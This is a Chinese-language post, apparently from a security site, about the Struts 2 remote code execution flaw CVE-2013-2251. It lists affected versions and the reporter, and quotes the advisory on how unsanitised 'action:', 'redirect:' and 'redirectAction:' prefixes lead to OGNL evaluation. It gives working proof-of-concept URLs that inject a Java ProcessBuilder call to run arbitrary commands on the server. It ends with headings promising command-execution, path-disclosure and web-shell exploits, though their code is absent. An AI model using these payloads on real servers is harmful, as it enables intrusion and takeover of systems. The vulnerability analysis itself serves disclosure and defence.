Struts又爆远程代码执行漏洞了!在这次的漏洞中，攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本，参数action的值redirect以及redirectAction没有正确过滤，导致ognl代码执行。描述影响版本 Struts 2.0.0 - Struts 2.3.15报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.CVE编号 CVE-2013-2251漏洞证明参数会以OGNL表达式执行http://host/struts2-blank/example/X.action?action:%25{3*4}
http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
代码执行http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
漏洞原理The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.以下仅供教学研究之用，严禁非法用途!执行任意命令EXP，感谢X提供：
爆网站路径EXP，感谢h4ck0r提供：
python执行任意命令，感谢h4ck0r提供
GETSHELL EXP，感谢coffee提供：
然后用以下代码写shell:
上前目录生成1.jsp
